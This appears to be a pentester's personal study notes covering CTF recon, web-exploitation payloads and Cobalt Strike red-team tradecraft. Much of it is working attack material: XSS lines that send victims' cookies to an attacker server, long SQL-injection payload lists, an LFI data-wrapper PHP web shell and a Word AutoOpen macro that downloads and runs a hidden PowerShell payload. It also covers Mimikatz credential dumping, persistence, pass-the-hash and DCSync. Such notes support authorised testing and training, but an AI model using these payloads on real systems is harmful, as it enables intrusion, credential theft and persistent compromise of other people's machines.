Senior Security Engineer, Hacker, Penetration Tester, and Software Engineer. Content Creator on YouTube. Active Player of CTFs on Hack The Box and TryHackMe.
Hi All,
My Name is Ali (Programmerboy), I am creating these Notes on Pentesting, Bug Bounty, Red Teaming, and CTFs on HackTheBox and TryHackme for my learning and the Community. All these Notes are Handwritten by myself and I have Explained Every topic as simple as possible for the understanding of the people.
You can Follow and Message me on the below Links, I would love to hear back from you!!!
# -A means Aggressive Scan
# -v means Verbose Output
# i normally use this command for initial scan this works best for me
nmap -A -v 10.10.10.10
Nmap Full Port Scan Command (If you want to Speed Up )
# --min-rate will make the scan faster, you can send any number of packets you want
# I run this command more than 2 times to confirm, because it is very fast
nmap -A -v -p- --min-rate=10000 10.10.10.10
Directory BruteForcing
For Directory Bruteforcing my favourite Tool is FFUF and Feroxbuster
Feroxbuster Command
# this is the command which i use when i use feroxbuster
# I Normally Change this command based on the output
# i have edited the configuration file to use common.txt wordlist from seclist
feroxbuster -u https://www.google.com/
Feroxbuster POST and GET Fuzzing
feroxbuster -u http://www.google.com -m GET,POST
Changing the Conf of Feroxbuster
I use Sublime text for editing my stuff and for code editing i use VScode
# -u is for url
# -w is for wordlist
# -c is for colors
# i use more flags as well for filtering, but this is my basic command
ffuf -u https://www.google.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -c
FFUF Commands
FFUF Commands
FFUF using BurpSuite Request File
if you want to do some fuzzing in a BurpSuite Request, then you can you can add the request in a file and pass the file to FFUF, just like we do with sqlmap
now i can read the code easily and find the enpoints and see how the request is being made
Javascript Code DeObfuscate by Running it
We can use developer Console to actually run the javascript code and we can see what it is doing, we just need to copy the code and then run it in the developer console
Below i can see the output of the javascript code in developer console
Pentesting JWT (JSON Web Tokens)
Pentesting JWT (JSON Web Tokens)
1. Algorithm Confusion Attacks in JWT Token
1.1 When Public key is Available on the Web Server (Utilizing JWKS.JSON file)
We can start testing for Algorithm Confusion attacks by simply changing the algorithm of the jwt token into HS256 from RS256
The question is that we need to find the public key, otherwise, this attack will never work, and we will not be able to sign our JWT token
Looking below at the image we can see that i want to create a webhook and i am having 403 forbidden, so i can try to do an Algorithm Confusion attack to get a 200 OK response.
Now the Problem here is that we need to get the Public key, now we need to find it on the server by doing different directory Bruteforcing tools, I can use here Feroxbuster.
Luckily I was able to find the Jwks.json file by doing directory Bruteforcing
Now I need to convert this into a proper format and then sign the JWT token and I will change the user role to admin and let’s see whether I can access the /create/webhook endpoint or not
for this purpose, i will be using Python3
>>> import base64 //import the module
>>> from Crypto.PublicKey import RSA //import the module
>>> int.from_bytes(base64.b64decode("AQAB"),'big') //get in exponent form
>>> e= int.from_bytes(base64.b64decode("AQAB"),'big') // save in e variable
>>> n= int.from_bytes(base64.urlsafe_b64decode("pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w=="),'big') //get in exponent form and save in variable n
>>> RSA.construct((n,e))
RsaKey(n=210777050761981641100503459966129328107725185684435390509677220913767158407243739120886487274628401
66356037836008797866810613752598694921174993091914759002593675145922598909469318911554819111261819241455997
35027650460180992373419927329227894364987226258872178963192655944004309143912666285692171378657917483156590
19350333066503971463827428905086581514922823892018582685975326775279148662236506064125999076770185383798134
64063685144477862245532615744296358390508702719361603975980307523385389095548127340792700450704825980888363
887958403440479605178094454574416540689804276427673977731782835533403716740628865097430507, e=65537) // make a public key
key =RSA.construct((n,e)) // save the public key in key variable
print(key.exportKey().decode()) // print the public key
I will base64 encode this public key by saving it into a file
base64 public-key -w 0
now I can use this public key to sign the JWT Token and then and then I can change the account role in https://jwt.io/ and hopefully I will be able to access the webhook page.
Finally, it worked I am not getting 403 error anymore which means I have successfully done an Algorithm Confusion attack.
Pentesting Redis 6379
Pentesting Redis 6379
Redis is an open-source in-memory storage, used as a distributed, in-memory key–value database, cache and message broker, with optional durability.
Install Redis Locally Using Docker (Latest Version)
docker run -p 6379:6379 redis:latest //pull the latest Docker image of redis
docker ps //look at the running docker processes
docker exec -it sh // run the shell on the container
redis-cli // get into the cli of redis on the container
wpscan --url target.com --disable-tls-checks --api-token -e at -e ap -e u --enumerate ap --plugins-detection aggressive --force
BruteForce attack using WPScan
WPScan can be used to brute force usernames and passwords. The scan report returned three users registered on the website: admin, roger, and david. The tool uses two kinds of login brute force attacks, xmlrpcand wp-login. The wp-login method will attempt to brute force the normal WordPress login page, while the xmlrpcmethod uses the WordPress API to make login attempts through /xmlrpc.php. The xmlrpcmethod is preferred as it is faster.
we need to login as Administrator on WordPress Portal, then you need to go to theme editor page
edit the 404 theme and add the reverse shell in it
or you can also add the below code as well
now save it and visit the below url to access it and execute it
http:///wp-content/themes/twentyseventeen/404.php
and we have successfull RCE.
XMLRPC.php
It is important to note that xmlrpc.php being enabled on a WordPress instance is not a vulnerability. Depending on the methods allowed xmlrpc.php can facilitate some enumeration and exploitation activities, though.
if we have a username and password for the admin user we can try to get the information utilizing the xmlrpc.php
curl -X POST -d "wp.getUsersBlogsadminCORRECT-PASSWORD" http://blog.inlanefreight.com/xmlrpc.php
Network Penetration Testing
445 – Pentesting SMB
5000 – Pentesting Docker Registry
3389 Pentesting RDP
53 – Pentesting DNS
445 – Pentesting SMB
445 – Pentesting SMB
NetExec
netexec is the latest tool which can be used to enumerate SMB protocol
Banner Grabbing of IPs using netexec
make a list of ips in a file and then used the below command
Sometimes you might not get anything using zone transfer so you need to check that wether the IP address is actually the DNS for Domain or not, by using Below command
We can use hydra to pass it colon seperated wordlist with default credentials and we can try to do a bruteforce attack on the http login, i will use the wordlist from seclists which containes the default credentials by colon seperation
If you have a login page and you need to bruteforce the creds for that, one way is you can use the burpsuite Intruder, the Second thing which we can use is Hydra Post Form as well
there are 3 things we need to add after http-post-form, -s is for port
1.Login Endpoint
2.Parameters
3.Fail or success msg OR Something from Page Source
python3 -c 'import pty;pty.spawn("/bin/bash")'
//Now press CTRL+Z to send the shell in the background
stty -a // get the rows and columns from the first line
stty raw -echo;fg // get back in the shell, Press enter 2 times to get back in
// run the below commands on the compromised machine
stty rows 26 cols 118 // based on the output of stty -a
export TERM=xterm
export TERM=xterm-256color // for colors
exec /bin/bash //I always do this, that's my methodology
// now you should have a full stable shell
Method 2: Using Script Binary (If it is installed on Target System)
which script //confirm if script is installed or not
script /dev/null -c bash
// Now press CTRL+Z to send the shell in the background
stty raw -echo;fg // get back in the shell, Press enter 2 times to get back in
export TERM=xterm
// Now you have a good TTY shell
Docker Container Enumeration
Docker Container Enumeration
Looking For Potential Files
Whenever you are in a docker container, always try to enumerate the system as much as you can, because you will always find something interesting in it.
// Potential Directories where you can find something interesting
/opt
/home
/home/
/tmp
/var/www/html
Doing Reverse Proxy Using Chisel
We can also do reverse proxy using chisel. It will help us in such a way that you want to connect to MySQL or Redis database and you are not having such tools installed on the docker container so you can do a reverse proxy and connect to MySQL or redis using proxychains
//Running Chisel on the Kali Linux First
chisel server --reverse -p 1234 --socks5
// Running Chisel on the docker container
./chisel client :1234 R:socks
// Now you can use proxychains and access the things on docker container
Looking For IP Addresses
Sometimes you cannot run ip a or ifconfig command so you can run the following to obtain the ip address
cat /proc/net/fib_trie // this sometimes shows the ip addresses of different services
Windows Privilege Escalation
Bug Bounty
Bug Bounty Methodology
XSS
SQL Injection
Command Injection
File Upload Pentesting
Local and Remote File Inclusion
Broken Authentication
Server Side Request Forgery (SSRF)
XML External Entity (XXE)
Server Side Template Injection (SSTI)
ReconFTW (six2dez)
JS Files
SignUp Page
Bug Bounty Methodology
VPS Automation (using Screens)
VPS Automation (using Screens)
While Doing Bug Bounty There are alot of tasks which we need to automate and they take alot of time so we need to keep them running while we exit from the VPS. For this Purpose we have Screens which i use most of the times
now you will have a new terminal and that will be your screen terminal
Detaching the Screen
CTRL + A + D
List the Screens
screen -ls
Get Back to Screen
screen -r programmerboy
TMUX Usage
We can also use TMUX and that is very useful for bug bounty because we our processes can be running in the backend
tmux new -s # Make a new Session
tmux ls # List the sessions
tmux attach -t # attach to the session
tmux source-file ~/.tmux.conf # after making changes to tmux.conf file
# Prefix Key is CTRL+B
preix key + d # detach the from tmux
prefix key + c # Create a new windows
prefix key + # move to that window
Prefix Key + , # Rename the window
prefix key + [ # Enter Copy Mode
<-- Replace OUR_IP with your Server IP Address -->
'>
">
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
XSS to get Cookies
Simple Payload to get Cookies
Use the below payload and add your Server IP and you will get Cookies on your server
document.location='http://OUR_IP/index.php?c='+document.cookie;
# this one is much preferred
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
Get Cookies by Hosting JS file
you can also add the malicious code to get the cookie in a file and then you host that script on the python server and then you can call the script, which will hit the script on the python server and then you will get the cookie on the same python server as well.
<-- make a file called script.js add the below payload and host on your server -->
new Image().src='http://OUR_IP/index.php?c='+document.cookie;
<-- now you can use -->
<-- again try different payloads here -->
'>
">
Get Cookies by Hosting PHP File on Server
Make a file called Cookie.php and host it on your server
Now i can use the following payload to execute XSS and get cookie
In Real World to get Cookies
in the real world, try using something like XSSHunter, Burp Collaborator or Project Interactsh. A default PHP Server or Netcat may not send data in the correct form when the target web application utilizes HTTPS.
test
Using Netcat
test
Defacing a Website
We can use the following javascript codes to deface a website and change it attributes
//Changing Background Color
//Changing Background
//Changing Page Title
//Changing Page Text
document.getElementById("todo").innerHTML = "Programmer Security is the Best"
SQL Injection
SQL Injection
Sql Injection Basic Payloads
admin' or '1'='1
admin')-- -
'OR 1=1' OR 1
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
Advanced Blind SQL Payloads (XOR)
0'XOR(if(now()=sysdate(),sleep(10),0))XOR'X
0"XOR(if(now()=sysdate(),sleep(10),0))XOR"Z
'XOR(if((select now()=sysdate()),sleep(10),0))XOR'Z
X'XOR(if(now()=sysdate(),//sleep(5)//,0))XOR'X
X'XOR(if(now()=sysdate(),(sleep((((5))))),0))XOR'X
X'XOR(if((select now()=sysdate()),BENCHMARK(1000000,md5('xyz')),0))XOR'X
'XOR(SELECT(0)FROM(SELECT(SLEEP(9)))a)XOR'Z
(SELECT(0)FROM(SELECT(SLEEP(6)))a)
'XOR(if(now()=sysdate(),sleep(5*5),0))OR'
'XOR(if(now()=sysdate(),sleep(5*5*0),0))OR'
(SELECT * FROM (SELECT(SLEEP(5)))a)
'%2b(select*from(select(sleep(5)))a)%2b'
CASE//WHEN(LENGTH(version())=10)THEN(SLEEP(6*1))END
');(SELECT 4564 FROM PG_SLEEP(5))--
["')//OR//MID(0x352e362e33332d6c6f67,1,1)//LIKE//5//%23"]
DBMS_PIPE.RECEIVE_MESSAGE(%5BINT%5D,5)%20AND%20%27bar%27=%27bar
AND 5851=DBMS_PIPE.RECEIVE_MESSAGE([INT],5) AND 'bar'='bar
1' AND (SELECT 6268 FROM (SELECT(SLEEP(5)))ghXo) AND 'IKlK'='IKlK
(select*from(select(sleep(20)))a)
'%2b(select*from(select(sleep(0)))a)%2b'
*'XOR(if(2=2,sleep(10),0))OR'
-1' or 1=IF(LENGTH(ASCII((SELECT USER())))>13, 1, 0)--//
'+(select*from(select(if(1=1,sleep(20),false)))a)+'"
2021 AND (SELECT 6868 FROM (SELECT(SLEEP(32)))IiOE)
BENCHMARK(10000000,MD5(CHAR(116)))
'%2bbenchmark(10000000%2csha1(1))%2b'
'%20and%20(select%20%20from%20(select(if(substring(user(),1,1)='p',sleep(5),1)))a)--%20 - true
# polyglots payloads:
if(now()=sysdate(),sleep(3),0)/'XOR(if(now()=sysdate(),sleep(3),0))OR'"XOR(if(now()=sysdate(),sleep(3),0))OR"/
if(now()=sysdate(),sleep(10),0)/'XOR(if(now()=sysdate(),sleep(10),0))OR'"XOR(if(now()=sysdate(),sleep(10),0) and 1=1)"/
SQLMAP Advanced Usage
CSRF-TOKEN Bypass with Sqlmap
If there is csrf-token validation and the request is being invalidated after sending to the server for the first time then we can use the following command, in the below command i have a token being sent in the post data so i will pass the token parameter to the sqlmap and the i will be able to get the sql injection otherwise my requests will be invalidated after the first request
sqlmap -u 'http://94.237.53.3:35310/case8.php' -X POST --batch --dbs --data-raw 'id=1&t0ken=nWGqK9hl2slyU5W0grB27Hi7c6RPFxULCyhr6wKfKP0' --csrf-token=t0ken
and we got a successfull sql injection here.
Randomize any Parameter using Sqlmap
If there is a case where we need to change a value after every request we can use the randomize flag for that
; # semi colon
\n # New Line %0a
& # background
| # pipe
&& # AND
|| # OR
`` # Sub Shell (backticks)
$() # Sub-Shell
Advanced Command Injection
When Space,and paths(/etc/passwd, /, /home ) are not Allowed
# %0a is new line
# ls will list the file
# ${IFS} when space is blacklisted
# ${PATH:0:1} it will grab / from path variables
ip=127.0.0.150%0als${IFS}${PATH:0:1}
# Final Command Becomes
127.0.0.1
ls /
we can create a malicious image and then try to get RCE
echo 'GIF8' > shell.gif
ZIP Upload To RCE
We can utilize the zip wrapper to execute PHP code. However, this wrapper isn’t enabled by default, so this method may not always work. To do so, we can start by creating a PHP web shell script and zipping it into a zip archive (named shell.jpg), as follows:
echo '' > shell.php && zip shell.jpg shell.php
PHAR Upload
we can use the phar:// wrapper to achieve a similar result. To do so, we will first write the following PHP script into a shell.php file:
This script can be compiled into a pharfile that when called would write a web shell to a shell.txt sub-file, which we can interact with. We can compile it into a pharfile and rename it to shell.jpg as follows:
Now, we should have a phar file called shell.jpg. Once we upload it to the web application, we can simply call it with phar:// and provide its URL path, and then specify the phar sub-file with /shell.txt (URL encoded) to get the output of the command we specify with (&cmd=id)
File Uplaod to XSS
SVG File Upload to XSS
SVG Upload to File Read
]>
&xxe;
using php filter
]>
&xxe;
SVG File Upload to RCE
apped Reverse shell php one liner at the end of the svg payload
]> &xxe;
Magic Bytes
Sometimes there is a strong filter on the file extension when we are uploading files , we can try to bypass that using magic bytes, which means that i will upload the file extension which is required by the server and then i will add the magic byte in the beginning and rest of the file will be my reverse shell and in that case i will get a reverse shell back.
now i will add the pdf magic byte in the beginning and rest of it will be a reverse shell
now find the file where is is uploading and try to get a reverse shell
# make sure you are not adding php at the end
php://filter/read=convert.base64-encode/resource=config
Data Wrapper to RCE
we can get LFI to RCE using DATA wrapper which can be used to include the external code, including PHP, but this will work only in 1 case that if allow_url_include is enabled for this we need to look at the php configuration file to see the allow_url_include is enabled or disabled
With allow_url_include enabled, we can proceed with our data wrapper attack. As mentioned earlier, the data wrapper can be used to include external data, including PHP code. We can also pass it base64 encoded strings with text/plain;base64, and it has the ability to decode them and execute the PHP code.
echo '' | base64
Now, we can URL encode the base64 string, and then pass it to the data wrapper
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==
# urlencode it
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id
We have a successfull RCE.
Remote File Inclusion (RFI)
In most languages, including remote URLs is considered as a dangerous practice as it may allow for such vulnerabilities. This is why remote URL inclusion is usually disabled by default. For example, any remote URL inclusion in PHP would require the allow_url_include setting to be enabled. We can check whether this setting is enabled through LFI
However, this may not always be reliable, as even if this setting is enabled, the vulnerable function may not allow remote URL inclusion to begin with. So, a more reliable way to determine whether an LFI vulnerability is also vulnerable to RFI is to try and include a URL, and see if we can get its content.
#host it on python server
echo '' > shell.php
LFI and File Upload to RCE
Crafting Malicious Image
we can create a malicious image and then try to get RCE
echo 'GIF8' > shell.gif
ZIP Upload To RCE
We can utilize the zip wrapper to execute PHP code. However, this wrapper isn’t enabled by default, so this method may not always work. To do so, we can start by creating a PHP web shell script and zipping it into a zip archive (named shell.jpg), as follows:
echo '' > shell.php && zip shell.jpg shell.php
PHAR Upload
we can use the phar:// wrapper to achieve a similar result. To do so, we will first write the following PHP script into a shell.php file:
This script can be compiled into a phar file that when called would write a web shell to a shell.txt sub-file, which we can interact with. We can compile it into a phar file and rename it to shell.jpg as follows:
Now, we should have a phar file called shell.jpg. Once we upload it to the web application, we can simply call it with phar:// and provide its URL path, and then specify the phar sub-file with /shell.txt (URL encoded) to get the output of the command we specify with (&cmd=id)
Broken Authentication
Broken Authentication
Login Page Bypass using X-Forwarded-For
We can sometimes bypass Login Pages and Authentication Mechanisms using X-Forwarded-For Header
Below when i entered the credentials i got Invalid Credentials Error
Now i will add the X-Forwarded-For Header and it will bypass it
By inspecting the request, we notice wkhtmltopdf in the User-Agent. If we browse wkhtmltopdf’s downloads webpage, the below statement catches our attention:
Do not use wkhtmltopdf with any untrusted HTML – be sure to sanitize any user-supplied HTML/JS; otherwise, it can lead to the complete takeover of the server it is running on! Please read the project status for the gory details.
we can execute JavaScript in wkhtmltopdf! Let us leverage this functionality to read a local file by creating the following HTML document.
Exfiltration via Blind SSRF
In this case, we are using two XMLHttpRequest objects, one for reading the local file and another one to send it to our server. Also, we are using the btoa function to send the data encoded in Base64.
XML External Entity (XXE)
XML External Entity (XXE)
XXE happens where we can inject our XML inputs and those inputs are not being sanitized by XML Parser
Basic XXE Payloads
#Simple File read
]>
#php filters
]>
Basic XXE Testing
In the below image i can see that my email is getting reflected back to me, so i will test for XXE in that parameter
now i will test for Basic XXE
]>
test1122112211&test;sadadasdasdasd
XXE PHP Filters to Read Source Code
We can now try to read the source code using php filters, i will try to read connection.php file
]>
Advanced File Disclosure (XXE CDATA)
if the web app is not build in php then php filters cannot help us, for this we can use CDATA and read any sort of file including binary data as well.
This will not work, because we cannot join internal and external entities in XML like this, so we need to find out another way
so i will host an DTD on my Python server
now this will get the DTD from my python server.
%xxe;
]>
now I can read the files as well.
Blind XXE (Out of Band Data Exfiltration)
Sometimes you don’t get a response from the website so you need to redirect the response to your own python server
">
%remote;
%oob;
]>
&content;
We need to host the xxe.dtd on our python server
Server Side Template Injection (SSTI)
Server Side Template Injection (SSTI)
SSTI Identification
{7*7}
${7*7}
#{7*7}
%{7*7}
{{7*7}}
TWIG SSTI
Twig has a variable _self, which, in simple terms, makes a few of the internal APIs public. This _self object has been documented, so we don’t need to brute force any variable names,
we can use the getFilterfunction as it allows execution of a user-defined function via the following process:
Register a function as a filter callback via registerUndefinedFilterCallback
Invoke _self.env.getFilter() to execute the function we have just registered
ReconFTW is the complete automation process for the bug bounty.It can find you subdomains,fuzzing,nuclei scanning and using more than 20 tools to find vulnerabilites.
Enumerating Subdomains using ReconFTW
./reconftw.sh -s -o
Full Recon using ReconFTW
i will run this in screen so that i switch off my VPS or something bad happens, my scan is still running in the background always.
When ever you are trying to signup or register, always try to signup with the company registered domain
Company name ---> programmersecurity.com
programmerboy@programmersecurity.com // this can be blocked
// so try this
PROGRAMMERBOY@PROGRAMMERSECURIYT.COM // this can work sometimes
CTFs
Regex Bypass
Grep & Regex & Find strings
Regex Bypass
Regex Bypass
Regex101
If we want to bypass a regex, first we need to understand it. for that i will be going to use the below link
so i can paste the same regex used above and understand it
Grep & Regex & Find strings
Grep & Regex & Find strings
Grep To find Files and Strings
We can use GREP to find some keywords and files and some special strings
grep -inr password
i is for case insensitivity
n is for line number
r is for recursively
this command will recursively search for the keyword password
Grep to find strings using Regex
lets say we have a file with a certain line
now i need to find in how many files this line exists, so i can use regex with grep
grep -rnw $(pwd) -e "^.*user_location.*public.*" --color
$(pwd)- means your current working directory in which you want to find
otherwise give the complete path of the directory here
this command will find you the all files having above line
Egrep to do Advanced Regex
We can use egrep for more advanced regular expressions, below is the egrep command with more advacned regex which finds for $addslahses keyword and whatever is after that.
egrep '\$addslashes.*=.*' $(pwd) -r --color
Python Programs for Pentesting
Python Code Snippets
Python Code Snippets
Python Code Snippets
Code to Send a Get Request to a URL and Print Response and Headers
this code will do a get request on the URL and then print the request headers and response
Below in the target URL i have passed IP address and Injection Point as %s which i will supply on command line
in this example we supplied 2 command line arguments
Certifications-Notes
CRTO & Cobalt Strike
CRTO & Cobalt Strike
CRTO & Cobalt Strike
This Page contains all the notes which are required to pass the CRTO Exam and it also contains the lab instructions as well
Setting Up Cobalt Strike on Windows Machine
To start Cobalt Strike We need 2 things
1.Team Server (This will only be run on the Linux machine)
2.Cobalt Strike Client
Setting Up TeamServer
First, we need to have a Linux box on which teamserver will run so I already have that, I will open my Linux box on the Windows machine and then run the teamserver
10.10.5.50 is the IP address of the Attacker Linux VM.
Passw0rd! is the shared password used to connect from the Cobalt Strike client.
webbug.profile is an example Malleable C2 profile (covered in more detail later).
Now Teamserver is all good to go so we need to start cobalt strike now
Starting Cobalt Strike Client
Now after the teamserver is started then we need to start the Cobalt Strike Client and provide the details
1.I added a random Alias
2.Host Should be the one where Teamserver is Running
3.You can add any Username
4.Password should be the same which you selected on the Teamserver
Listeners in Cobalt Strike
We can set up some listeners in cobalt strike by press the headphones button on the top
now we can click the add button at the bottom and then add some listeners, we can set
1.http
2.dns
3.https
4.smb
below is an example of the HTTP listener
in the same way we can set all the listeners
Smb Listener
For smb listener we can see the pipes on our own system and choose any one of the found, we will not use the cobalt strike default one because that can be easily detected by the AVs.
we can use any of the above and set the listener
All Listeners setup done
Running Cobalt Strike As a Service
We can run cobalt strike as a service so once we start our linux machine we dont need to run teamserver again and again
first we need to create a file in /etc/systemd/system
sudo nano /etc/systemd/system/teamserver.service
then add the following content in it
[Unit]
Description=Cobalt Strike Team Server
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=always
RestartSec=1
User=root
WorkingDirectory=/home/attacker/cobaltstrike
ExecStart=/home/attacker/cobaltstrike/teamserver 10.10.5.50 Passw0rd! c2-profiles/normal/webbug.profile
[Install]
WantedBy=multi-user.target
now we need to reload the system manager
sudo systemctl daemon-reload
now lets see the status of the teamserver service we created
sudo systemctl status teamserver.service
now lets start the teamserver service
sudo systemctl start teamserver.service
and lets enable the teamserver service as well
sudo systemctl enable teamserver.service
now everytime the linux machine starts the teamserver service will run automatically.
Generating All Payloads using Cobalt Strike
We can generate all payload in Cobalt Strike, i will choose the last option Windows Stageless Generate All Payloads
now all the payloads will be generated in the C:\Paylaods
Creating Macro With Cobalt Strike
We can open word and go to View->Macros->Create Macro
Make sure you write the name AutoOpen and select document1 from the drop Down
Now i will write a small code to open notepad
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "notepad"
End Sub
then we need to save it and run it and we will see notepad running
Macro For Reverse Shell in Cobalt Strike
Now i will use the Cobalt Strike Scripted Web Delivery to Host a payload and get a reverse shell
now my payload will be hosted and we will get the following command which we can insert in the macro and once the macro
below is how the final code will look like, make sure you use 2 double quots to escape
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "powershell.exe -nop -w hidden -c ""IEX ((new-object net.webclient).downloadstring('http://10.10.5.50:80/a'))"""
End Sub
in site management i can see that my payload is hosted and listening on port 80
once someone opens the macro i will get a reverse shell in my cobalt strike
Cobalt Strike Commands
ps ----> to see the processes so we can see the AV or Endpoint Protection Processes
execute-assembly ---> (executable-file) ----> execute-assembly seatbelt.exe -group=system ---> run any exectubale file using this
Screenshots ----> take screenshots
keylogger -----> record what the target is typing
Clipboard ----> this will show us what he has copied to clipboard (not images)
net logons ----> we will see that which users have logged into the system in the past and currently as well
Persistence Techniques
Persistence is a method of regaining or maintaining access to a compromised machine, without having to exploit the initial compromise steps all over again. Workstations are volatile since users tend to logout or reboot them frequently.
If you’ve gained initial access through a phishing campaign, it’s unlikely you’ll be able to do so again if your current Beacon is lost, which could be the end of the engagement. If you’re on an assume-breach (or indeed in this lab) and have access to an internal host, the loss of complete access to the environment is less of a concern. However, you may still need to drop one or more persistence mechanisms on hosts you control if your simulated threat would also do so.
Common userland persistence methods include:
HKCU / HKLM Registry Autoruns
Scheduled Tasks
Startup Folder
Cobalt Strike doesn’t include any built-in commands specifically for persistence. SharPersist is a Windows persistence toolkit written by FireEye. It’s written in C#, so can be executed via execute-assembly.
Persistence using Task Scheduler
The Windows Task Scheduler allows us to create “tasks” that execute on a pre-determined trigger. That trigger could be a time of day, on user-logon, when the computer goes idle, when the computer is locked, or a combination thereof.
i will now first convert the powershell download cradle into base64 so i can get rid of the double quotations and special characters problem
i can confirm on the target system as well by going to the task scheduler as well.
Persistence Using Startup Folder
Applications, files and shortcuts within a user’s startup folder are launched automatically when they first log in. It’s commonly used to bootstrap the user’s home environment (set wallpapers, shortcut’s etc).
AutoRun values in HKCU and HKLM allow applications to start on boot. You commonly see these to start native and 3rd party applications such as software updaters, download assistants, driver utilities and so on.
For this we need to uplaod our exe file to the target machine and then set it to run on every boot
Cobalt Strike has a built-in version of Mimikatz that we can use to extract various credential types. However, there are some differences with how it behaves in Beacon compared to the console version. Each time you execute Mimikatz in Beacon, it does so in a new temporary process which is then destroyed. This means you can’t run two “related” commands, such as:
Since CS 4.8, you can chain multiple commands together by separating them with a semi-colon.
beacon> mimikatz token::elevate ; lsadump::sam
The ! elevates Beacon to SYSTEM before running the given command, which is useful in cases where you’re running in high-integrity but need to impersonate SYSTEM. In most cases, ! is a direct replacement for token::elevate. For example:
beacon> mimikatz !lsadump::sam
NTLM Hashes
beacon> mimikatz !sekurlsa::logonpasswords
We can alos use shorthand command for this in cobalt strike
logonpasswords
Kerberos Encryption keys
beacon> mimikatz !sekurlsa::ekeys
SAM File
The Security Account Manager (SAM) database holds the NTLM hashes of local accounts only. These can be extracted with the lsadump::sam Mimikatz module. If a common local administrator account is being used with the same password across an entire environment, this can make it very trivial to move laterally.
beacon> mimikatz !lsadump::sam
Domain Cached Creds
Unfortunately, the hash format is not NTLM so it can’t be used with pass the hash. The only viable use for these is to crack them offline.
The lsadump::cache Mimikatz module can extract these from HKLM\SECURITY.
mimikatz !lsadump::cache
To crack these with hashcat, we need to transform them into the expected format. The example hashes page shows us it should be $DCC2$<iterations>#<username>#<hash>.
Extracting Kerberos Tickets
One unfortunate consequence of the aforementioned techniques is that they obtain handles to sensitive resources, which can be audited and logged quite easily. Rubeus is a C# tool designed for Kerberos interaction and abuses, using legitimate Windows APIs.
Its triage command will list all the Kerberos tickets in your current logon session and if elevated, from all logon sessions on the machine.
Rubeus’ dump command will extract these tickets from memory – but because it uses WinAPIs, it does not need to open suspicious handles to LSASS. If not elevated, we can only pull tickets from our own session. Without any further arguments, Rubeus will extract all tickets possible, but we can be more specific by using the /luid and /service parameters.
For example, if we only wanted the TGT for jking, we can do:
The Directory Replication Service (MS-DRSR) protocol is used to synchronise and replicate Active Directory data between domain controllers. DCSync is a technique which leverages this protocol to extract username and credential data from a DC.
Beacon has a dedicated dcsync command, which calls mimikatz lsadump::dcsync in the background.
Returns all domains for the current forest or the forest specified by -Forest.
beacon> powershell Get-ForestDomain
Returns the default domain policy or the domain controller policy for the current domain or a specified domain/domain controller. Useful for finding information such as the domain password policy.
Return all (or specific) user(s). To only return specific properties, use -Properties. By default, all user objects for the current domain are returned, use -Identity to return a specific user.
Returns all GPOs that modify local group membership through Restricted Groups or Group Policy Preferences. You can then manually find which OUs, and by extension which computers, these GPOs apply to.
Enumerates the machines where a specific domain user/group is a member of a specific local group. This is useful for finding where domain groups have local admin access, which is a more automated way to perform the manual cross-referencing described above.
Return all domain trusts for the current or specified domain
beacon> powershell Get-DomainTrust
User Impersonation
Pass The Hash Attack
If we have the NTLM hash of the user we can use cobalt strike to do pass the hash attack, after passing the hash we can easily List the C$ drive of the other computer to see wether we can list those or not.
beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe ptt /luid:0x798c2c /ticket:doIFuj[...snip...]lDLklP
Lateral Movement
Moving laterally between computers in a domain is important for accessing sensitive information/materials, and obtaining new credentials. Cobalt Strike provides three strategies for executing Beacons/code/commands on remote targets.
The first and most convenient is to use the built-in jump command – the syntax is jump [method] [target] [listener]. Type jump to see a list of methods. This will spawn a Beacon payload on the remote target, and if using a P2P listener, will connect to it automatically.
The second strategy is to use the built-in remote-exec command – the syntax is remote-exec [method] [target] [command]. Type remote-exec to see a list of methods.
Each of these strategies are compatible with the various techniques described in the User Impersonation chapter. For example, you can use pth to impersonate a user and then jump to move laterally.
A much safer approach is to enumerate possible candidates first and roast them selectively. This LDAP query will find domain users who have an SPN set.
If a user does not have Kerberos pre-authentication enabled, an AS-REP can be requested for that user, and part of the reply can be cracked offline to recover their plaintext password.
As with kerberoasting, we don’t want to asreproast every account in the domain.
